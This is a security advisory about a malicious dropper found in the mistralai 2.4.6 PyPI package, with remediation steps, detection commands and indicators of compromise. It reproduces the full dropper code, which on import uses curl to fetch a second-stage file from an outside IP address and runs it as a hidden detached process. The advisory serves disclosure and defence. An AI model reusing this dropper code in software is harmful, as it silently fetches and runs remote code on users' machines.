Malicious dropper in mistralai 2.4.6 PyPI package

The mistralai PyPI package version 2.4.6 contains a malicious dropper that executes on import on Linux. No v2.4.6 tag, commit, or release workflow run exists in this repository, the legitimate latest version before the upload was 2.4.5, and the upload bypassed this repository's normal release pipeline (which uses PyPI Trusted Publishing).

The mistralai PyPI project is currently quarantined.

Affected

• mistralai==2.4.6 on PyPI.

Versions 2.4.5 and earlier are not known to be affected.

What the malicious code does

A function named _run_background_task was added to src/mistralai/client/__init__.py and called at module-load time. Reproduced from the public report in #523:

import subprocess as _sub
import os as _os

def _run_background_task():
    if not _sys.platform.startswith("linux") or _os.environ.get("MISTRAL_INIT"):
        return
    _os.environ["MISTRAL_INIT"] = "1"
    _url = "https://83.142.209.194/transformers.pyz"
    _dest = "/tmp/transformers.pyz"
    try:
        if not _os.path.exists(_dest):
            _sub.run(["curl", "-k", "-L", "-s", _url, "-o", _dest], timeout=15)
        if _os.path.exists(_dest):
            _sub.Popen(
                [_sys.executable, _dest],
                stdout=_sub.DEVNULL, stderr=_sub.DEVNULL,
                start_new_session=True, env=_os.environ.copy()
            )
    except:
        pass

_run_background_task()

On Linux only, the function:

1. Returns early if MISTRAL_INIT is already set in the environment.
2. Sets MISTRAL_INIT=1 so the spawned child does not re-trigger the dropper if it imports mistralai.
3. Downloads https://83.142.209.194/transformers.pyz to /tmp/transformers.pyz with curl -k -L -s (TLS verification disabled, 15 s timeout). Skips the download if the file is already present.
4. Spawns transformers.pyz with the current Python interpreter (sys.executable) as a detached process via Popen(..., start_new_session=True), with stdout and stderr discarded and any exception silently swallowed.

On non-Linux platforms the function returns immediately and does nothing.

The trigger is import mistralai, not package installation. pip install of a wheel does not execute package code; for an sdist it runs PEP 517 build hooks but those are in setup.py / pyproject.toml, not in __init__.py — so pip install, pip download, and pip wheel do not invoke this dropper.

The contents of transformers.pyz are not in the package and were not analyzed in this advisory. The behavior of the second-stage payload on the host is therefore unknown.

Recommendation

Any Linux environment that imported mistralai==2.4.6 should be treated as potentially compromised pending forensic review. Rotate every credential reachable from the importing process and review host and cloud audit logs for activity from approximately 2026-05-12 00:05 UTC onward (per the timing reported in #523).

Check whether you are affected

Installed version:

pip show mistralai | grep -i ^version

Dependency files and lockfiles:

grep -n -E 'mistralai\b.*2\.4\.6' \
  requirements*.txt pyproject.toml uv.lock poetry.lock Pipfile Pipfile.lock 2>/dev/null

Dropped file on disk:

ls -la /tmp/transformers.pyz

The presence of /tmp/transformers.pyz on a host that imported mistralai==2.4.6 indicates the download step ran successfully. Combined with absence of MISTRAL_INIT in the host's process environment history, it does not by itself confirm the second-stage executed; conversely its absence does not rule out execution if the file was cleaned up.

Remediation

1. Pin mistralai to 2.4.5 or earlier. While the PyPI project is quarantined, install from this repository at a known-good tag, e.g. git+https://github.com/mistralai/client-python.git@v2.4.5.
2. On affected Linux hosts, rotate every credential reachable from the importing process and review host and cloud audit logs.

Indicators of compromise

All IOCs below come from the public report in #523.

• File: /tmp/transformers.pyz
• Process: a Python interpreter (sys.executable) running /tmp/transformers.pyz detached from the parent's process group, with stdout/stderr to /dev/null
• Environment variable: MISTRAL_INIT=1
• Outbound HTTPS to 83[.]142[.]209[.]194 from curl (no TLS verification)
• Function added to the package: _run_background_task in src/mistralai/client/__init__.py
• SHA-256 of the malicious sdist (as reported in #523): 6dbaa43bf2f3c0d3cddbca74967e952da563fb974c1ef9d4ecbb2e58e41fe81b

References

• Public report with the dropper code: https://github.com/mistralai/client-python/issues/523
• Quarantined PyPI project: https://pypi.org/project/mistralai/